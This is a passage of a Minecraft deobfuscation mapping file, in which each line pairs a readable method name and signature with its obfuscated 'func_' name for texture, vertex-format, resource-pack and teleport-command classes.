net/minecraft/client/renderer/texture/TextureAtlasSprite/hasAnimationMetadata ()Z net/minecraft/client/renderer/texture/TextureAtlasSprite/func_130098_m ()Z +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/updateAnimationInterpolated ()V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_180599_n ()V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/resetSprite ()V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_130102_n ()V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/toString ()Ljava/lang/String; net/minecraft/client/renderer/texture/TextureAtlasSprite/toString ()Ljava/lang/String; +MD: net/minecraft/client/renderer/texture/TextureManager$1/call ()Ljava/lang/String; net/minecraft/client/renderer/texture/TextureManager$1/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/texture/TextureManager$1/call ()Ljava/lang/Object; net/minecraft/client/renderer/texture/TextureManager$1/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/texture/TextureManager/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/texture/TextureManager/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/texture/TextureManager/getDynamicTextureLocation (Ljava/lang/String;Lnet/minecraft/client/renderer/texture/DynamicTexture;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/texture/TextureManager/func_110578_a (Ljava/lang/String;Lnet/minecraft/client/renderer/texture/DynamicTexture;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/texture/TextureManager/bindTexture (Lnet/minecraft/util/ResourceLocation;)V net/minecraft/client/renderer/texture/TextureManager/func_110577_a (Lnet/minecraft/util/ResourceLocation;)V +MD: net/minecraft/client/renderer/texture/TextureManager/loadTexture (Lnet/minecraft/util/ResourceLocation;Lnet/minecraft/client/renderer/texture/ITextureObject;)Z net/minecraft/client/renderer/texture/TextureManager/func_110579_a (Lnet/minecraft/util/ResourceLocation;Lnet/minecraft/client/renderer/texture/ITextureObject;)Z +MD: net/minecraft/client/renderer/texture/TextureManager/loadTickableTexture (Lnet/minecraft/util/ResourceLocation;Lnet/minecraft/client/renderer/texture/ITickableTextureObject;)Z net/minecraft/client/renderer/texture/TextureManager/func_110580_a (Lnet/minecraft/util/ResourceLocation;Lnet/minecraft/client/renderer/texture/ITickableTextureObject;)Z +MD: net/minecraft/client/renderer/texture/TextureManager/getTexture (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/renderer/texture/ITextureObject; net/minecraft/client/renderer/texture/TextureManager/func_110581_b (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/renderer/texture/ITextureObject; +MD: net/minecraft/client/renderer/texture/TextureManager/deleteTexture (Lnet/minecraft/util/ResourceLocation;)V net/minecraft/client/renderer/texture/TextureManager/func_147645_c (Lnet/minecraft/util/ResourceLocation;)V +MD: net/minecraft/client/renderer/texture/TextureManager/tick ()V net/minecraft/client/renderer/texture/TextureManager/func_110550_d ()V +MD: net/minecraft/client/renderer/texture/ITextureObject/restoreLastBlurMipmap ()V net/minecraft/client/renderer/texture/ITextureObject/func_174935_a ()V +MD: net/minecraft/client/renderer/texture/ITextureObject/loadTexture (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/texture/ITextureObject/func_110551_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/texture/ITextureObject/getGlTextureId ()I net/minecraft/client/renderer/texture/ITextureObject/func_110552_b ()I +MD: net/minecraft/client/renderer/texture/ITextureObject/setBlurMipmap (ZZ)V net/minecraft/client/renderer/texture/ITextureObject/func_174936_b (ZZ)V +MD: net/minecraft/client/renderer/texture/TextureUtil/glGenTextures ()I net/minecraft/client/renderer/texture/TextureUtil/func_110996_a ()I +MD: net/minecraft/client/renderer/texture/TextureUtil/deleteTexture (I)V net/minecraft/client/renderer/texture/TextureUtil/func_147942_a (I)V +MD: net/minecraft/client/renderer/texture/TextureUtil/allocateTexture (III)V net/minecraft/client/renderer/texture/TextureUtil/func_110991_a (III)V +MD: net/minecraft/client/renderer/texture/TextureUtil/allocateTextureImpl (IIII)V net/minecraft/client/renderer/texture/TextureUtil/func_180600_a (IIII)V +MD: net/minecraft/client/renderer/texture/TextureUtil/blendColorComponent (IIIII)I net/minecraft/client/renderer/texture/TextureUtil/func_147944_a (IIIII)I +MD: net/minecraft/client/renderer/texture/TextureUtil/blendColors (IIIIZ)I net/minecraft/client/renderer/texture/TextureUtil/func_147943_a (IIIIZ)I +MD: net/minecraft/client/renderer/texture/TextureUtil/generateMipmapData (II[[I)[[I net/minecraft/client/renderer/texture/TextureUtil/func_147949_a (II[[I)[[I +MD: net/minecraft/client/renderer/texture/TextureUtil/uploadTextureImage (ILjava/awt/image/BufferedImage;)I net/minecraft/client/renderer/texture/TextureUtil/func_110987_a (ILjava/awt/image/BufferedImage;)I +MD: net/minecraft/client/renderer/texture/TextureUtil/uploadTextureImageSub (ILjava/awt/image/BufferedImage;IIZZ)I net/minecraft/client/renderer/texture/TextureUtil/func_110995_a (ILjava/awt/image/BufferedImage;IIZZ)I +MD: net/minecraft/client/renderer/texture/TextureUtil/uploadTextureImageAllocate (ILjava/awt/image/BufferedImage;ZZ)I net/minecraft/client/renderer/texture/TextureUtil/func_110989_a (ILjava/awt/image/BufferedImage;ZZ)I +MD: net/minecraft/client/renderer/texture/TextureUtil/uploadTexture (I[III)V net/minecraft/client/renderer/texture/TextureUtil/func_110988_a (I[III)V +MD: net/minecraft/client/renderer/texture/TextureUtil/uploadTextureSub (I[IIIIIZZZ)V net/minecraft/client/renderer/texture/TextureUtil/func_147947_a (I[IIIIIZZZ)V +MD: net/minecraft/client/renderer/texture/TextureUtil/readImageData (Lnet/minecraft/client/resources/IResourceManager;Lnet/minecraft/util/ResourceLocation;)[I net/minecraft/client/renderer/texture/TextureUtil/func_110986_a (Lnet/minecraft/client/resources/IResourceManager;Lnet/minecraft/util/ResourceLocation;)[I +MD: net/minecraft/client/renderer/texture/TextureUtil/uploadTextureImageSubImpl (Ljava/awt/image/BufferedImage;IIZZ)V net/minecraft/client/renderer/texture/TextureUtil/func_110993_a (Ljava/awt/image/BufferedImage;IIZZ)V +MD: net/minecraft/client/renderer/texture/TextureUtil/readBufferedImage (Ljava/io/InputStream;)Ljava/awt/image/BufferedImage; net/minecraft/client/renderer/texture/TextureUtil/func_177053_a (Ljava/io/InputStream;)Ljava/awt/image/BufferedImage; +MD: net/minecraft/client/renderer/texture/TextureUtil/setTextureClamped (Z)V net/minecraft/client/renderer/texture/TextureUtil/func_110997_a (Z)V +MD: net/minecraft/client/renderer/texture/TextureUtil/setTextureBlurMipmap (ZZ)V net/minecraft/client/renderer/texture/TextureUtil/func_147954_b (ZZ)V +MD: net/minecraft/client/renderer/texture/TextureUtil/updateAnaglyph ([I)[I net/minecraft/client/renderer/texture/TextureUtil/func_110985_a ([I)[I +MD: net/minecraft/client/renderer/texture/TextureUtil/copyToBuffer ([II)V net/minecraft/client/renderer/texture/TextureUtil/func_110990_a ([II)V +MD: net/minecraft/client/renderer/texture/TextureUtil/processPixelValues ([III)V net/minecraft/client/renderer/texture/TextureUtil/func_147953_a ([III)V +MD: net/minecraft/client/renderer/texture/TextureUtil/uploadTextureMipmap ([[IIIIIZZ)V net/minecraft/client/renderer/texture/TextureUtil/func_147955_a ([[IIIIIZZ)V +MD: net/minecraft/client/renderer/texture/TextureUtil/bindTexture (I)V net/minecraft/client/renderer/texture/TextureUtil/func_94277_a (I)V +MD: net/minecraft/client/renderer/texture/TextureUtil/setTextureBlurred (Z)V net/minecraft/client/renderer/texture/TextureUtil/func_147951_b (Z)V +MD: net/minecraft/client/renderer/texture/TextureUtil/copyToBufferPos ([III)V net/minecraft/client/renderer/texture/TextureUtil/func_110994_a ([III)V +MD: net/minecraft/client/renderer/texture/TextureUtil/anaglyphColor (I)I net/minecraft/client/renderer/texture/TextureUtil/func_177054_c (I)I +MD: net/minecraft/client/renderer/texture/ITickable/tick ()V net/minecraft/client/renderer/texture/ITickable/func_110550_d ()V +MD: net/minecraft/client/renderer/texture/TextureClock/updateAnimation ()V net/minecraft/client/renderer/texture/TextureClock/func_94219_l ()V +MD: net/minecraft/client/renderer/texture/TextureCompass/updateCompass (Lnet/minecraft/world/World;DDDZZ)V net/minecraft/client/renderer/texture/TextureCompass/func_94241_a (Lnet/minecraft/world/World;DDDZZ)V +MD: net/minecraft/client/renderer/texture/TextureCompass/updateAnimation ()V net/minecraft/client/renderer/texture/TextureCompass/func_94219_l ()V +MD: net/minecraft/client/renderer/vertex/VertexBuffer/bindBuffer ()V net/minecraft/client/renderer/vertex/VertexBuffer/func_177359_a ()V +MD: net/minecraft/client/renderer/vertex/VertexBuffer/drawArrays (I)V net/minecraft/client/renderer/vertex/VertexBuffer/func_177358_a (I)V +MD: net/minecraft/client/renderer/vertex/VertexBuffer/bufferData (Ljava/nio/ByteBuffer;)V net/minecraft/client/renderer/vertex/VertexBuffer/func_181722_a (Ljava/nio/ByteBuffer;)V +MD: net/minecraft/client/renderer/vertex/VertexBuffer/unbindBuffer ()V net/minecraft/client/renderer/vertex/VertexBuffer/func_177361_b ()V +MD: net/minecraft/client/renderer/vertex/VertexBuffer/deleteGlBuffers ()V net/minecraft/client/renderer/vertex/VertexBuffer/func_177362_c ()V +MD: net/minecraft/client/renderer/vertex/VertexFormat/clear ()V net/minecraft/client/renderer/vertex/VertexFormat/func_177339_a ()V +MD: net/minecraft/client/renderer/vertex/VertexFormat/hasUvOffset (I)Z net/minecraft/client/renderer/vertex/VertexFormat/func_177347_a (I)Z +MD: net/minecraft/client/renderer/vertex/VertexFormat/addElement (Lnet/minecraft/client/renderer/vertex/VertexFormatElement;)Lnet/minecraft/client/renderer/vertex/VertexFormat; net/minecraft/client/renderer/vertex/VertexFormat/func_181721_a (Lnet/minecraft/client/renderer/vertex/VertexFormatElement;)Lnet/minecraft/client/renderer/vertex/VertexFormat; +MD: net/minecraft/client/renderer/vertex/VertexFormat/hasNormal ()Z net/minecraft/client/renderer/vertex/VertexFormat/func_177350_b ()Z +MD: net/minecraft/client/renderer/vertex/VertexFormat/getUvOffsetById (I)I net/minecraft/client/renderer/vertex/VertexFormat/func_177344_b (I)I +MD: net/minecraft/client/renderer/vertex/VertexFormat/getNormalOffset ()I net/minecraft/client/renderer/vertex/VertexFormat/func_177342_c ()I +MD: net/minecraft/client/renderer/vertex/VertexFormat/getElement (I)Lnet/minecraft/client/renderer/vertex/VertexFormatElement; net/minecraft/client/renderer/vertex/VertexFormat/func_177348_c (I)Lnet/minecraft/client/renderer/vertex/VertexFormatElement; +MD: net/minecraft/client/renderer/vertex/VertexFormat/hasColor ()Z net/minecraft/client/renderer/vertex/VertexFormat/func_177346_d ()Z +MD: net/minecraft/client/renderer/vertex/VertexFormat/getOffset (I)I net/minecraft/client/renderer/vertex/VertexFormat/func_181720_d (I)I +MD: net/minecraft/client/renderer/vertex/VertexFormat/getColorOffset ()I net/minecraft/client/renderer/vertex/VertexFormat/func_177340_e ()I +MD: net/minecraft/client/renderer/vertex/VertexFormat/equals (Ljava/lang/Object;)Z net/minecraft/client/renderer/vertex/VertexFormat/equals (Ljava/lang/Object;)Z +MD: net/minecraft/client/renderer/vertex/VertexFormat/getIntegerSize ()I net/minecraft/client/renderer/vertex/VertexFormat/func_181719_f ()I +MD: net/minecraft/client/renderer/vertex/VertexFormat/getNextOffset ()I net/minecraft/client/renderer/vertex/VertexFormat/func_177338_f ()I +MD: net/minecraft/client/renderer/vertex/VertexFormat/getElements ()Ljava/util/List; net/minecraft/client/renderer/vertex/VertexFormat/func_177343_g ()Ljava/util/List; +MD: net/minecraft/client/renderer/vertex/VertexFormat/hashCode ()I net/minecraft/client/renderer/vertex/VertexFormat/hashCode ()I +MD: net/minecraft/client/renderer/vertex/VertexFormat/getElementCount ()I net/minecraft/client/renderer/vertex/VertexFormat/func_177345_h ()I +MD: net/minecraft/client/renderer/vertex/VertexFormat/hasPosition ()Z net/minecraft/client/renderer/vertex/VertexFormat/func_177341_i ()Z +MD: net/minecraft/client/renderer/vertex/VertexFormat/toString ()Ljava/lang/String; net/minecraft/client/renderer/vertex/VertexFormat/toString ()Ljava/lang/String; +MD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/getSize ()I net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/func_177395_a ()I +MD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/getDisplayName ()Ljava/lang/String; net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/func_177396_b ()Ljava/lang/String; +MD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/getGlConstant ()I net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/func_177397_c ()I +MD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/values ()[Lnet/minecraft/client/renderer/vertex/VertexFormatElement$EnumType; net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/values ()[Lnet/minecraft/client/renderer/vertex/VertexFormatElement$EnumType; +MD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/getDisplayName ()Ljava/lang/String; net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/func_177384_a ()Ljava/lang/String; +MD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/values ()[Lnet/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage; net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/values ()[Lnet/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage; +MD: net/minecraft/client/renderer/vertex/VertexFormatElement/getType ()Lnet/minecraft/client/renderer/vertex/VertexFormatElement$EnumType; net/minecraft/client/renderer/vertex/VertexFormatElement/func_177367_b ()Lnet/minecraft/client/renderer/vertex/VertexFormatElement$EnumType; +MD: net/minecraft/client/renderer/vertex/VertexFormatElement/func_177372_a (ILnet/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage;)Z net/minecraft/client/renderer/vertex/VertexFormatElement/func_177372_a (ILnet/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage;)Z +MD: net/minecraft/client/renderer/vertex/VertexFormatElement/getUsage ()Lnet/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage; net/minecraft/client/renderer/vertex/VertexFormatElement/func_177375_c ()Lnet/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage; +MD: net/minecraft/client/renderer/vertex/VertexFormatElement/getElementCount ()I net/minecraft/client/renderer/vertex/VertexFormatElement/func_177370_d ()I +MD: net/minecraft/client/renderer/vertex/VertexFormatElement/getIndex ()I net/minecraft/client/renderer/vertex/VertexFormatElement/func_177369_e ()I +MD: net/minecraft/client/renderer/vertex/VertexFormatElement/getSize ()I net/minecraft/client/renderer/vertex/VertexFormatElement/func_177368_f ()I +MD: net/minecraft/client/renderer/vertex/VertexFormatElement/equals (Ljava/lang/Object;)Z net/minecraft/client/renderer/vertex/VertexFormatElement/equals (Ljava/lang/Object;)Z +MD: net/minecraft/client/renderer/vertex/VertexFormatElement/isPositionElement ()Z net/minecraft/client/renderer/vertex/VertexFormatElement/func_177374_g ()Z +MD: net/minecraft/client/renderer/vertex/VertexFormatElement/hashCode ()I net/minecraft/client/renderer/vertex/VertexFormatElement/hashCode ()I +MD: net/minecraft/client/renderer/vertex/VertexFormatElement/toString ()Ljava/lang/String; net/minecraft/client/renderer/vertex/VertexFormatElement/toString ()Ljava/lang/String; +MD: net/minecraft/client/resources/AbstractResourcePack/getPackImage ()Ljava/awt/image/BufferedImage; net/minecraft/client/resources/AbstractResourcePack/func_110586_a ()Ljava/awt/image/BufferedImage; +MD: net/minecraft/client/resources/AbstractResourcePack/readMetadata (Lnet/minecraft/client/resources/data/IMetadataSerializer;Ljava/io/InputStream;Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; net/minecraft/client/resources/AbstractResourcePack/func_110596_a (Lnet/minecraft/client/resources/data/IMetadataSerializer;Ljava/io/InputStream;Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; +MD: net/minecraft/client/resources/AbstractResourcePack/getPackMetadata (Lnet/minecraft/client/resources/data/IMetadataSerializer;Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; net/minecraft/client/resources/AbstractResourcePack/func_135058_a (Lnet/minecraft/client/resources/data/IMetadataSerializer;Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; +MD: net/minecraft/client/resources/AbstractResourcePack/getRelativeName (Ljava/io/File;Ljava/io/File;)Ljava/lang/String; net/minecraft/client/resources/AbstractResourcePack/func_110595_a (Ljava/io/File;Ljava/io/File;)Ljava/lang/String; +MD: net/minecraft/client/resources/AbstractResourcePack/getInputStreamByName (Ljava/lang/String;)Ljava/io/InputStream; net/minecraft/client/resources/AbstractResourcePack/func_110591_a (Ljava/lang/String;)Ljava/io/InputStream; +MD: net/minecraft/client/resources/AbstractResourcePack/getInputStream (Lnet/minecraft/util/ResourceLocation;)Ljava/io/InputStream; net/minecraft/client/resources/AbstractResourcePack/func_110590_a (Lnet/minecraft/util/ResourceLocation;)Ljava/io/InputStream; +MD: net/minecraft/client/resources/AbstractResourcePack/getPackName ()Ljava/lang/String; net/minecraft/client/resources/AbstractResourcePack/func_130077_b ()Ljava/lang/String; +MD: net/minecraft/client/resources/AbstractResourcePack/hasResourceName (Ljava/lang/String;)Z net/minecraft/client/resources/AbstractResourcePack/func_110593_b (Ljava/lang/String;)Z +MD: net/minecraft/client/resources/AbstractResourcePack/resourceExists (Lnet/minecraft/util/ResourceLocation;)Z net/minecraft/client/resources/AbstractResourcePack/func_110589_b (Lnet/minecraft/util/ResourceLocation;)Z +MD: net/minecraft/client/resources/AbstractResourcePack/logNameNotLowercase (Ljava/lang/String;)V net/minecraft/client/resources/AbstractResourcePack/func_110594_c (Ljava/lang/String;)V +MD: net/minecraft/client/resources/AbstractResourcePack/locationToName (Lnet/minecraft/util/ResourceLocation;)Ljava/lang/String; net/minecraft/client/resources/AbstractResourcePack/func_110592_c (Lnet/minecraft/util/ResourceLocation;)Ljava/lang/String; +MD: net/minecraft/client/resources/ResourceIndex/getResourceMap ()Ljava/util/Map; net/minecraft/client/resources/ResourceIndex/func_152782_a ()Ljava/util/Map; +MD: net/minecraft/client/resources/DefaultPlayerSkin/getDefaultSkinLegacy ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/resources/DefaultPlayerSkin/func_177335_a ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/resources/DefaultPlayerSkin/getDefaultSkin (Ljava/util/UUID;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/resources/DefaultPlayerSkin/func_177334_a (Ljava/util/UUID;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/resources/DefaultPlayerSkin/getSkinType (Ljava/util/UUID;)Ljava/lang/String; net/minecraft/client/resources/DefaultPlayerSkin/func_177332_b (Ljava/util/UUID;)Ljava/lang/String; +MD: net/minecraft/client/resources/DefaultPlayerSkin/isSlimSkin (Ljava/util/UUID;)Z net/minecraft/client/resources/DefaultPlayerSkin/func_177333_c (Ljava/util/UUID;)Z +MD: net/minecraft/command/server/CommandTeleport/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandTeleport/func_82362_a ()I +MD: net/minecraft/command/server/CommandTeleport/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandTeleport/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandTeleport/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandTeleport/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandTeleport/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/server/CommandTeleport/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/server/CommandTeleport/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandTeleport/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandTeleport/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandTeleport/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/resources/DefaultResourcePack/getPackImage ()Ljava/awt/image/BufferedImage; net/minecraft/client/resources/DefaultResourcePack/func_110586_a ()Ljava/awt/image/BufferedImage; +MD: net/minecraft/client/resources/DefaultResourcePack/getPackMetadata (Lnet/minecraft/client/resources/data/IMetadataSerializer;Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; net/minecraft/client/resources/DefaultResourcePack/func_135058_a (Lnet/minecraft/client/resources/data/IMetadataSerializer;Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; +MD: net/minecraft/client/resources/DefaultResourcePack/getInputStream (Lnet/minecraft/util/ResourceLocation;)Ljava/io/InputStream; net/minecraft/client/resources/DefaultResourcePack/func_110590_a (Lnet/minecraft/util/ResourceLocation;)Ljava/io/InputStream; +MD: net/minecraft/client/resources/DefaultResourcePack/getPackName ()Ljava/lang/String; net/minecraft/client/resources/DefaultResourcePack/func_130077_b ()Ljava/lang/String; +MD: net/minecraft/client/resources/DefaultResourcePack/resourceExists (Lnet/minecraft/util/ResourceLocation;)Z net/minecraft/client/resources/DefaultResourcePack/func_110589_b (Lnet/minecraft/util/ResourceLocation;)Z +MD: net/minecraft/client/resources/DefaultResourcePack/getResourceDomains ()Ljava/util/Set; net/minecraft/client/resources/DefaultResourcePack/func_110587_b ()Ljava/util/Set; +MD: net/minecraft/client/resources/DefaultResourcePack/getInputStreamAssets (Lnet/minecraft/util/ResourceLocation;)Ljava/io/InputStream; net/minecraft/client/resources/DefaultResourcePack/func_152780_c (Lnet/minecraft/util/ResourceLocation;)Ljava/io/InputStream; +MD: net/minecraft/client/resources/DefaultResourcePack/getResourceStream (Lnet/minecraft/util/ResourceLocation;)Ljava/io/InputStream; net/minecraft/client/resources/DefaultResourcePack/func_110605_c (Lnet/minecraft/util/ResourceLocation;)Ljava/io/InputStream; +MD: net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/close ()V net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/close ()V +MD: net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/finalize ()V net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/finalize ()V +MD: net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/read ()I net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/read ()I +MD: net/minecraft/client/resources/FallbackResourceManager/getResourceDomains ()Ljava/util/Set; net/minecraft/client/resources/FallbackResourceManager/func_135055_a ()Ljava/util/Set; +MD: net/minecraft/client/resources/FallbackResourceManager/addResourcePack (Lnet/minecraft/client/resources/IResourcePack;)V net/minecraft/client/resources/FallbackResourceManager/func_110538_a (Lnet/minecraft/client/resources/IResourcePack;)V +MD: net/minecraft/client/resources/FallbackResourceManager/getResource (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/resources/IResource; net/minecraft/client/resources/FallbackResourceManager/func_110536_a (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/resources/IResource; +MD: net/minecraft/client/resources/FallbackResourceManager/getInputStream (Lnet/minecraft/util/ResourceLocation;Lnet/minecraft/client/resources/IResourcePack;)Ljava/io/InputStream; net/minecraft/client/resources/FallbackResourceManager/func_177245_a (Lnet/minecraft/util/ResourceLocation;Lnet/minecraft/client/resources/IResourcePack;)Ljava/io/InputStream; +MD: net/minecraft/client/resources/FallbackResourceManager/access$000 ()Lorg/apache/logging/log4j/Logger; net/minecraft/client/resources/FallbackResourceManager/access$000 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/client/resources/FallbackResourceManager/getAllResources (Lnet/minecraft/util/ResourceLocation;)Ljava/util/List; net/minecraft/client/resources/FallbackResourceManager/func_135056_b (Lnet/minecraft/util/ResourceLocation;)Ljava/util/List; +MD: net/minecraft/client/resources/FallbackResourceManager/getLocationMcmeta (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/resources/FallbackResourceManager/func_110537_b (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/resources/FileResourcePack/getInputStreamByName (Ljava/lang/String;)Ljava/io/InputStream; net/minecraft/client/resources/FileResourcePack/func_110591_a (Ljava/lang/String;)Ljava/io/InputStream; +MD: net/minecraft/client/resources/FileResourcePack/hasResourceName (Ljava/lang/String;)Z net/minecraft/client/resources/FileResourcePack/func_110593_b (Ljava/lang/String;)Z +MD: net/minecraft/client/resources/FileResourcePack/getResourceDomains ()Ljava/util/Set; net/minecraft/client/resources/FileResourcePack/func_110587_b ()Ljava/util/Set; +MD: net/minecraft/client/resources/FileResourcePack/close ()V net/minecraft/client/resources/FileResourcePack/close ()V +MD: net/minecraft/client/resources/FileResourcePack/getResourcePackZipFile ()Ljava/util/zip/ZipFile; net/minecraft/client/resources/FileResourcePack/func_110599_c ()Ljava/util/zip/ZipFile; +MD: net/minecraft/client/resources/FileResourcePack/finalize ()V net/minecraft/client/resources/FileResourcePack/finalize ()V +MD: net/minecraft/client/resources/FolderResourcePack/getInputStreamByName (Ljava/lang/String;)Ljava/io/InputStream; net/minecraft/client/resources/FolderResourcePack/func_110591_a (Ljava/lang/String;)Ljava/io/InputStream; +MD: net/minecraft/client/resources/FolderResourcePack/hasResourceName (Ljava/lang/String;)Z net/minecraft/client/resources/FolderResourcePack/func_110593_b (Ljava/lang/String;)Z +MD: net/minecraft/client/resources/FolderResourcePack/getResourceDomains ()Ljava/util/Set; net/minecraft/client/resources/FolderResourcePack/func_110587_b ()Ljava/util/Set; +MD: net/minecraft/client/resources/FoliageColorReloadListener/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/resources/FoliageColorReloadListener/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/resources/GrassColorReloadListener/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/resources/GrassColorReloadListener/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/resources/IReloadableResourceManager/registerReloadListener (Lnet/minecraft/client/resources/IResourceManagerReloadListener;)V net/minecraft/client/resources/IReloadableResourceManager/func_110542_a (Lnet/minecraft/client/resources/IResourceManagerReloadListener;)V +MD: net/minecraft/client/resources/IReloadableResourceManager/reloadResources (Ljava/util/List;)V net/minecraft/client/resources/IReloadableResourceManager/func_110541_a (Ljava/util/List;)V +MD: net/minecraft/client/resources/IResource/getResourceLocation ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/resources/IResource/func_177241_a ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/resources/IResource/getMetadata (Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; net/minecraft/client/resources/IResource/func_110526_a (Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; +MD: net/minecraft/client/resources/IResource/getInputStream ()Ljava/io/InputStream; net/minecraft/client/resources/IResource/func_110527_b ()Ljava/io/InputStream; +MD: net/minecraft/client/resources/IResource/hasMetadata ()Z net/minecraft/client/resources/IResource/func_110528_c ()Z +MD: net/minecraft/client/resources/IResource/getResourcePackName ()Ljava/lang/String; net/minecraft/client/resources/IResource/func_177240_d ()Ljava/lang/String; +MD: net/minecraft/client/resources/IResourceManager/getResourceDomains ()Ljava/util/Set; net/minecraft/client/resources/IResourceManager/func_135055_a ()Ljava/util/Set; +MD: net/minecraft/client/resources/IResourceManager/getResource (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/resources/IResource; net/minecraft/client/resources/IResourceManager/func_110536_a (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/resources/IResource; +MD: net/minecraft/client/resources/IResourceManager/getAllResources (Lnet/minecraft/util/ResourceLocation;)Ljava/util/List; net/minecraft/client/resources/IResourceManager/func_135056_b (Lnet/minecraft/util/ResourceLocation;)Ljava/util/List; +MD: net/minecraft/client/resources/IResourceManagerReloadListener/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/resources/IResourceManagerReloadListener/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/resources/IResourcePack/getPackImage ()Ljava/awt/image/BufferedImage; net/minecraft/client/resources/IResourcePack/func_110586_a ()Ljava/awt/image/BufferedImage; +MD: net/minecraft/client/resources/IResourcePack/getPackMetadata (Lnet/minecraft/client/resources/data/IMetadataSerializer;Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; net/minecraft/client/resources/IResourcePack/func_135058_a (Lnet/minecraft/client/resources/data/IMetadataSerializer;Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; +MD: net/minecraft/client/resources/IResourcePack/getInputStream (Lnet/minecraft/util/ResourceLocation;)Ljava/io/InputStream; net/minecraft/client/resources/IResourcePack/func_110590_a (Lnet/minecraft/util/ResourceLocation;)Ljava/io/InputStream; +MD: net/minecraft/client/resources/IResourcePack/getPackName ()Ljava/lang/String; net/minecraft/client/resources/IResourcePack/func_130077_b ()Ljava/lang/String; +MD: net/minecraft/client/resources/IResourcePack/resourceExists 